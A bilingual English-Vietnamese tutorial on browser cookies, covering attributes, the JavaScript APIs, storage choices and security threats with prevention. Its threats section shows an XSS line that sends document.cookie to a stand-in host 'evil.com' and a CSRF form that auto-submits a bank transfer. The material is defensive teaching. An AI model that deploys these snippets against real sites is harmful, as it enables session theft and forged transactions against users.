Cookies in the Frontend — From Basics to Security Deep Dive
A bilingual deep-dive into HTTP cookies: how Set-Cookie works, every attribute (Secure, HttpOnly, SameSite, Partitioned/CHIPS), reading them in JS, cookies vs storage, and the security threats (XSS, CSRF, fixation) with prevention.
What Is a Cookie? {Cookie là gì?}
HTTP is stateless {HTTP không trạng thái} — every request is independent and the server forgets you between them {mỗi request là độc lập và server quên bạn giữa các request}. A cookie is the original fix {Cookie là cách sửa nguyên thuỷ}: a small piece of data the server tells the browser to store {một mẩu dữ liệu nhỏ mà server bảo browser lưu lại} and send back on every subsequent request {và gửi lại trên mỗi request sau đó}.
That round trip is the whole idea {Vòng lặp đó chính là toàn bộ ý tưởng}:
1. Browser → Server: GET /login
2. Server → Browser: Set-Cookie: session=abc123 {server bảo lưu}
3. Browser stores it
4. Browser → Server: GET /dashboard
Cookie: session=abc123 {browser tự gửi lại}
The server sets a cookie with the Set-Cookie response header {Server đặt cookie bằng header response Set-Cookie}; the browser automatically returns it with the Cookie request header {browser tự động trả lại bằng header request Cookie} for matching requests {cho các request khớp}.
Anatomy of a Cookie {Cấu tạo của một Cookie}
Set-Cookie: session=abc123; Max-Age=3600; Path=/; Domain=example.com; Secure; HttpOnly; SameSite=Lax
└──── name=value ────┘ └────────────── attributes ──────────────────────────┘
Only name=value is sent back to the server {Chỉ name=value được gửi lại server}. The attributes (Max-Age, Secure, etc.) are instructions to the browser {Các attribute là chỉ dẫn cho browser} about when and how to send the cookie {về việc khi nào và thế nào gửi cookie} — they are never transmitted back {chúng không bao giờ được gửi ngược lại}.
Cookie Attributes — The Full Picture {Thuộc tính Cookie — Bức tranh đầy đủ}
Attributes control a cookie’s lifetime, scope, and security {Attribute điều khiển vòng đời, phạm vi, và bảo mật của cookie}. Getting them right is most of the job {Đặt đúng chúng là phần lớn công việc}.
Lifetime: Expires vs Max-Age {Vòng đời: Expires vs Max-Age}
Set-Cookie: a=1 ; no lifetime → session cookie {cookie phiên}
Set-Cookie: b=2; Max-Age=3600 ; expires in 3600s {hết hạn sau 3600s}
Set-Cookie: c=3; Expires=Wed, 31 Dec 2025 23:59:59 GMT
- No lifetime {Không vòng đời} = a session cookie, deleted when the browser closes {= cookie phiên, xoá khi đóng browser} (though “session restore” can keep it) {(dù “khôi phục phiên” có thể giữ lại)}.
Max-Age(seconds) takes priority overExpires{tính bằng giây, ưu tiên hơnExpires} where both exist {khi có cả hai}. Use it {Hãy dùng nó}.- To delete a cookie {Để xoá cookie}: set it again with
Max-Age=0{đặt lại vớiMax-Age=0} (same name/path/domain) {(cùng name/path/domain)}.
Scope: Domain and Path {Phạm vi: Domain và Path}
Set-Cookie: x=1; Domain=example.com; Path=/app
Domain{Domain}: omit it → cookie is host-only (exact host) {bỏ qua → cookie chỉ host (đúng host)}. SetDomain=example.com→ also sent to all subdomains {đặtDomain=example.com→ gửi cả tới mọi subdomain} (api.example.com,app.example.com) {}. You can’t set a cookie for a domain you’re not on {Bạn không thể đặt cookie cho domain bạn không thuộc về} — and never for a public suffix like.com{và không bao giờ cho public suffix như.com}.Path{Path}: cookie is sent only for URLs under this path {cookie chỉ gửi cho URL dưới path này}.Path=/app→ sent for/app/*, not/blog{}. Note:Pathis not a security boundary {Pathkhông phải ranh giới bảo mật} (any path can read it via DOM tricks) {}.
Security: Secure {Bảo mật: Secure}
Set-Cookie: token=xyz; Secure
The cookie is sent only over HTTPS {Cookie chỉ gửi qua HTTPS} (except on localhost) {(trừ localhost)}. This prevents a network attacker from reading it over plain HTTP {Điều này ngăn kẻ tấn công mạng đọc nó qua HTTP thường}. Always set Secure on anything sensitive {Luôn đặt Secure cho mọi thứ nhạy cảm}.
Security: HttpOnly {Bảo mật: HttpOnly}
Set-Cookie: session=abc123; HttpOnly
The cookie is invisible to JavaScript {Cookie vô hình với JavaScript} — document.cookie won’t show it {document.cookie sẽ không hiện nó}. This is your single most important defense against session theft via XSS {Đây là phòng thủ quan trọng nhất chống đánh cắp phiên qua XSS}. Session identifiers should always be HttpOnly {ID phiên luôn luôn nên là HttpOnly}.
Security: SameSite {Bảo mật: SameSite}
This controls whether the cookie is sent on cross-site requests {Cái này điều khiển việc cookie có được gửi trên request khác site hay không} — the core defense against CSRF {phòng thủ cốt lõi chống CSRF}.
| Value {Giá trị} | Behavior {Hành vi} |
|---|---|
Strict | Sent only for same-site requests {Chỉ gửi cho request cùng site}. Even clicking a link from another site won’t send it {Ngay cả click link từ site khác cũng không gửi} — secure but can log users “out” on arrival {an toàn nhưng có thể khiến user “out” khi vừa tới} |
Lax (default {mặc định}) | Sent same-site + on top-level GET navigations {Gửi cùng site + khi điều hướng GET cấp cao nhất}. Blocks cross-site POST/iframe/AJAX {Chặn POST/iframe/AJAX khác site} |
None | Sent on all requests, requires Secure {Gửi mọi request, bắt buộc Secure}. Needed for legit third-party cookies {Cần cho cookie third-party hợp pháp} |
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly
Set-Cookie: embed=1; SameSite=None; Secure {third-party use {dùng third-party}}
Modern browsers default to SameSite=Lax {Browser hiện đại mặc định SameSite=Lax} when you don’t specify it {khi bạn không chỉ định}.
Modern: Partitioned (CHIPS) {Hiện đại: Partitioned (CHIPS)}
Set-Cookie: ad=1; SameSite=None; Secure; Partitioned
CHIPS (Cookies Having Independent Partitioned State) {CHIPS (Cookie có trạng thái phân vùng độc lập)} gives a third-party cookie a separate jar per top-level site {cho cookie third-party một lọ riêng cho mỗi site cấp cao nhất}. An embed on siteA.com and the same embed on siteB.com get different partitioned cookies {Một embed trên siteA.com và cùng embed đó trên siteB.com nhận cookie phân vùng khác nhau} — they can keep functional state without enabling cross-site tracking {chúng giữ được trạng thái chức năng mà không cho phép theo dõi xuyên site}.
Naming Prefixes: __Host- and __Secure- {Tiền tố tên: __Host- và __Secure-}
Set-Cookie: __Host-session=abc; Path=/; Secure; HttpOnly {strongest {mạnh nhất}}
Set-Cookie: __Secure-id=xyz; Secure
These prefixes are enforced by the browser {Các tiền tố này được browser thực thi}:
__Secure-{__Secure-}: the cookie must haveSecureand come from HTTPS {cookie phải cóSecurevà đến từ HTTPS}.__Host-{__Host-}: must beSecure,Path=/, and have noDomain(host-only) {phảiSecure,Path=/, và không cóDomain(chỉ host)} — the gold standard for session cookies {tiêu chuẩn vàng cho cookie phiên}, immune to subdomain injection {miễn nhiễm với tiêm từ subdomain}.
Live Demo {Demo trực tiếp}
Cookies are easiest to grasp by poking at them {Cookie dễ hiểu nhất khi bạn tự nghịch}. The demo below has a cookie playground {Demo dưới có một sân chơi cookie} (set/read/delete with real attributes) {(set/đọc/xoá với attribute thật)}, an HttpOnly illustration {một minh hoạ HttpOnly}, a cookie vs storage comparison {một so sánh cookie vs storage}, and a SameSite/CSRF explainer {và một trình giải thích SameSite/CSRF}.
Open the full demo {Mở demo đầy đủ}: /tools/cookie-demo/.
Reading & Writing Cookies in JavaScript {Đọc & Ghi Cookie trong JavaScript}
The Legacy API: document.cookie {API cũ: document.cookie}
The classic API is famously awkward {API cổ điển nổi tiếng là khó dùng} — it’s a single magic string {nó là một chuỗi “ma thuật” duy nhất}:
// Reading returns ALL non-HttpOnly cookies as one string
// {Đọc trả về TẤT CẢ cookie không-HttpOnly dưới dạng một chuỗi}
console.log(document.cookie); // "theme=dark; lang=en"
// Writing sets ONE cookie (assignment doesn't overwrite the rest)
// {Ghi đặt MỘT cookie (gán không ghi đè phần còn lại)}
document.cookie = "theme=dark; Max-Age=3600; Path=/; SameSite=Lax";
// You can never read HttpOnly or Secure attributes back {Không bao giờ đọc lại được attribute}
Helpers make it bearable {Hàm phụ giúp nó dễ chịu hơn}:
function getCookie(name) {
const match = document.cookie.match(
new RegExp("(?:^|; )" + name.replace(/([.$?*|{}()[\]\\/+^])/g, "\\$1") + "=([^;]*)")
);
return match ? decodeURIComponent(match[1]) : null;
}
function setCookie(name, value, { maxAge, path = "/", sameSite = "Lax", secure = true } = {}) {
let str = `${encodeURIComponent(name)}=${encodeURIComponent(value)}; Path=${path}; SameSite=${sameSite}`;
if (maxAge != null) str += `; Max-Age=${maxAge}`;
if (secure) str += "; Secure";
document.cookie = str;
}
function deleteCookie(name, path = "/") {
document.cookie = `${name}=; Max-Age=0; Path=${path}`;
}
Note {Lưu ý}: JavaScript can never set
HttpOnly{JavaScript không bao giờ đặt đượcHttpOnly} — that would defeat its purpose {điều đó sẽ phá huỷ mục đích của nó}. Only the server can {Chỉ server làm được}.
The Modern API: Cookie Store {API hiện đại: Cookie Store}
The asynchronous Cookie Store API is far nicer {Cookie Store API bất đồng bộ dễ chịu hơn nhiều} (Chromium-based, partial support) {(nền Chromium, hỗ trợ một phần)}:
// Async, structured, no string parsing {Bất đồng bộ, có cấu trúc, không parse chuỗi}
await cookieStore.set({
name: "theme",
value: "dark",
expires: Date.now() + 3600_000,
sameSite: "lax",
});
const cookie = await cookieStore.get("theme"); // { name, value, ... }
const all = await cookieStore.getAll();
await cookieStore.delete("theme");
// React to changes (e.g. another tab logs out) {Phản ứng với thay đổi}
cookieStore.addEventListener("change", (e) => {
console.log("changed:", e.changed, "deleted:", e.deleted);
});
Cookies vs Web Storage {Cookie vs Web Storage}
Cookies are not the only place to store data {Cookie không phải nơi duy nhất để lưu data}. Choose the right tool {Chọn đúng công cụ}:
| Feature {Tính năng} | Cookie | localStorage | sessionStorage | IndexedDB |
|---|---|---|---|---|
| Sent to server {Gửi lên server} | ✅ every request {mỗi request} | ❌ | ❌ | ❌ |
| Capacity {Dung lượng} | ~4 KB | ~5–10 MB | ~5–10 MB | hundreds of MB+ {hàng trăm MB+} |
| Readable by JS {JS đọc được} | only if not HttpOnly {chỉ khi không HttpOnly} | ✅ | ✅ | ✅ |
| Expiry {Hết hạn} | ✅ built-in {có sẵn} | ❌ manual {thủ công} | tab close {đóng tab} | ❌ manual |
| Survives tab close {Sống qua đóng tab} | ✅ (if persistent) | ✅ | ❌ | ✅ |
| Good for {Tốt cho} | auth, server state {xác thực, trạng thái server} | prefs, UI state {tuỳ chọn, trạng thái UI} | per-tab temp {tạm theo tab} | large structured data {dữ liệu lớn có cấu trúc} |
Rule of thumb {Quy tắc kinh nghiệm}: use cookies for authentication (the server needs them every request) {dùng cookie cho xác thực (server cần chúng mỗi request)}, and Web Storage for client-only data {và Web Storage cho data chỉ phía client}. Never put a session token in localStorage {Đừng bao giờ để session token trong localStorage} — it’s fully exposed to XSS {nó hoàn toàn phơi bày với XSS}.
Security Threats & Prevention {Mối đe doạ bảo mật & Phòng tránh}
Cookies carry credentials {Cookie mang theo thông tin xác thực}, which makes them a prime target {khiến chúng thành mục tiêu hàng đầu}. Here are the major threats {Đây là các mối đe doạ chính}.
1. XSS — Session Theft {XSS — Đánh cắp phiên}
If an attacker injects script into your page {Nếu kẻ tấn công tiêm script vào trang}, they can read cookies and exfiltrate them {họ có thể đọc cookie và tuồn ra ngoài}:
// Attacker's injected script {Script bị tiêm của kẻ tấn công}
new Image().src = "https://evil.com/steal?c=" + encodeURIComponent(document.cookie);
Prevention {Phòng tránh}:
- ✅
HttpOnlyon session cookies {trên cookie phiên} — script can’t read them {script không đọc được}. - ✅ Fix the XSS itself {Sửa chính lỗ hổng XSS}: escape output, use a strict Content-Security-Policy {escape output, dùng Content-Security-Policy chặt}, never
innerHTMLuntrusted data {không bao giờinnerHTMLdata chưa tin cậy}.
2. CSRF — Forged Requests {CSRF — Request giả mạo}
The browser sends cookies automatically {Browser gửi cookie tự động}, even for requests triggered by another site {kể cả request được kích bởi site khác}. An attacker can make your browser perform actions while logged in {Kẻ tấn công có thể khiến browser bạn thực hiện hành động khi đang đăng nhập}:
<!-- On evil.com — auto-submits using YOUR cookies {tự submit dùng cookie của BẠN} -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker" />
<input name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>
Prevention {Phòng tránh}:
- ✅
SameSite=Lax(orStrict) {(hoặcStrict)} blocks cross-site POSTs {chặn POST khác site}. - ✅ Anti-CSRF tokens {Token chống CSRF}: a per-session secret in a form/header the attacker can’t read {một bí mật theo phiên trong form/header mà kẻ tấn công không đọc được} (double-submit cookie or synchronizer token) {(double-submit cookie hoặc synchronizer token)}.
- ✅ Check
Origin/Refererfor state-changing requests {Kiểm traOrigin/Referercho request thay đổi trạng thái}.
3. MITM — Network Interception {MITM — Chặn bắt mạng}
Over plain HTTP, anyone on the network reads cookies {Qua HTTP thường, bất kỳ ai trên mạng đọc được cookie}.
Prevention {Phòng tránh}: ✅ Secure + HTTPS everywhere {HTTPS khắp nơi} + HSTS {}.
4. Session Fixation {Cố định phiên}
An attacker plants a known session ID before you log in {Kẻ tấn công cài sẵn một session ID đã biết trước khi bạn đăng nhập}, then reuses it afterward {rồi tái dùng nó sau đó}.
Prevention {Phòng tránh}: ✅ Regenerate the session ID on login {Tái tạo session ID khi đăng nhập} (and on privilege change) {(và khi đổi quyền)}.
5. Subdomain & Scope Abuse {Lạm dụng Subdomain & Phạm vi}
A compromised sub.example.com can set a Domain=example.com cookie {Một sub.example.com bị chiếm có thể đặt cookie Domain=example.com} that overrides the main site’s {ghi đè cookie của site chính} (cookie “tossing”) {}.
Prevention {Phòng tránh}: ✅ Use the __Host- prefix {Dùng tiền tố __Host-} for session cookies (host-only, no Domain) {cho cookie phiên (chỉ host, không Domain)}.
6. Third-Party Tracking {Theo dõi Third-Party}
SameSite=None cookies in iframes/pixels historically enabled cross-site tracking {Cookie SameSite=None trong iframe/pixel xưa nay cho phép theo dõi xuyên site}.
Prevention / direction {Phòng tránh / hướng đi}: ✅ Browsers are phasing out third-party cookies {Browser đang loại bỏ dần cookie third-party}; use Partitioned (CHIPS) for legit per-site state {dùng Partitioned (CHIPS) cho trạng thái hợp pháp theo site}.
7. Cookie Bombing / Overflow {Đánh bom Cookie / Tràn}
Attackers (or buggy code) can stuff huge/many cookies {Kẻ tấn công (hoặc code lỗi) có thể nhồi cookie khổng lồ/nhiều} until requests exceed server header limits {đến khi request vượt giới hạn header của server} → 400/431 errors (a DoS) {→ lỗi 400/431 (một dạng DoS)}.
Prevention {Phòng tránh}: ✅ Keep cookies small {Giữ cookie nhỏ}, validate sizes {kiểm tra kích thước}, scope by Path/Domain {giới hạn theo Path/Domain}.
The Secure-Session Checklist {Checklist phiên an toàn}
For a session/auth cookie, ALWAYS:
{Cho cookie phiên/xác thực, LUÔN:}
✅ __Host- prefix (host-only, can't be overridden) {không bị ghi đè}
✅ HttpOnly (XSS can't read it) {XSS không đọc được}
✅ Secure (HTTPS only) {chỉ HTTPS}
✅ SameSite=Lax/Strict (CSRF defense) {phòng CSRF}
✅ Short Max-Age (limit blast radius) {giới hạn thiệt hại}
✅ Regenerate on login (anti-fixation) {chống fixation}
✅ + CSRF token for state-changing POSTs {+ token CSRF}
Example {Ví dụ}:
Set-Cookie: __Host-session=...; Max-Age=1800; Path=/; Secure; HttpOnly; SameSite=Lax
The Modern Cookie Landscape {Bối cảnh Cookie hiện đại}
The Death of Third-Party Cookies {Cái chết của Cookie Third-Party}
Safari (ITP) and Firefox block third-party cookies by default {Safari (ITP) và Firefox chặn cookie third-party mặc định}; Chrome has been moving the same direction {Chrome cũng đang đi theo hướng đó}. The replacements {Các thứ thay thế}:
- CHIPS /
Partitioned{}: partitioned per-site state {trạng thái phân vùng theo site}. - Storage Access API {}:
document.requestStorageAccess()lets an embedded frame ask for its unpartitioned cookies {cho phép frame nhúng xin cookie chưa phân vùng của nó} after a user gesture {sau một cử chỉ người dùng}. - Privacy Sandbox APIs (Topics, FedCM) for ads/identity without cross-site cookies {cho quảng cáo/định danh mà không cần cookie xuyên site}.
Consent & Privacy Law {Đồng ý & Luật riêng tư}
Under GDPR/ePrivacy {Theo GDPR/ePrivacy}, non-essential cookies (analytics, ads) require prior consent {cookie không thiết yếu (analytics, ads) cần đồng ý trước}; strictly necessary cookies (session, security) don’t {cookie thực sự cần thiết (phiên, bảo mật) thì không}. Don’t set tracking cookies before the user agrees {Đừng đặt cookie theo dõi trước khi người dùng đồng ý}.
Common Pitfalls {Các lỗi thường gặp}
| Pitfall {Lỗi} | Fix {Sửa} |
|---|---|
Session token in localStorage {token phiên trong localStorage} | Use an HttpOnly cookie {Dùng cookie HttpOnly} |
Forgetting Secure {Quên Secure} | Always set it on sensitive cookies {Luôn đặt cho cookie nhạy cảm} |
SameSite=None without Secure {SameSite=None không Secure} | Browser rejects it — add Secure {Browser từ chối — thêm Secure} |
| Delete fails {Xoá thất bại} | Match name + path + domain exactly {Khớp chính xác name + path + domain} |
Relying on Path for security {Dựa vào Path để bảo mật} | It’s not a security boundary {Nó không phải ranh giới bảo mật} |
| Storing big data in cookies {Lưu data lớn trong cookie} | ~4 KB limit; sent every request — use storage {Giới hạn ~4 KB; gửi mỗi request — dùng storage} |
No encodeURIComponent {Không encodeURIComponent} | Values with ; , = break parsing {Giá trị có ; , = làm hỏng parse} |
Quick Reference {Tham khảo nhanh}
Set-Cookie attributes {thuộc tính}:
Max-Age=<s> / Expires=<date> → lifetime {vòng đời}
Domain=<d> → share with subdomains {chia sẻ subdomain}
Path=<p> → URL scope (NOT security) {phạm vi URL}
Secure → HTTPS only {chỉ HTTPS}
HttpOnly → hidden from JS {ẩn khỏi JS}
SameSite=Strict|Lax|None → cross-site policy (CSRF) {chính sách xuyên site}
Partitioned → CHIPS per-site jar {lọ theo site}
__Host- / __Secure- prefix → browser-enforced rules {luật do browser thực thi}
JS access {truy cập JS}:
document.cookie → legacy string {chuỗi cũ}
cookieStore.get/set/delete() → modern async {hiện đại bất đồng bộ}
Decide where to store {quyết định lưu ở đâu}:
auth/session → HttpOnly cookie
UI prefs → localStorage
per-tab temp → sessionStorage
large data → IndexedDB
Cookies are old {Cookie thì cũ}, but they’re still the backbone of web authentication {nhưng vẫn là xương sống của xác thực web}. The difference between a safe cookie and a liability {Khác biệt giữa một cookie an toàn và một mối hoạ} is just a handful of attributes {chỉ là một nắm attribute} — set them deliberately {hãy đặt chúng một cách có chủ đích}.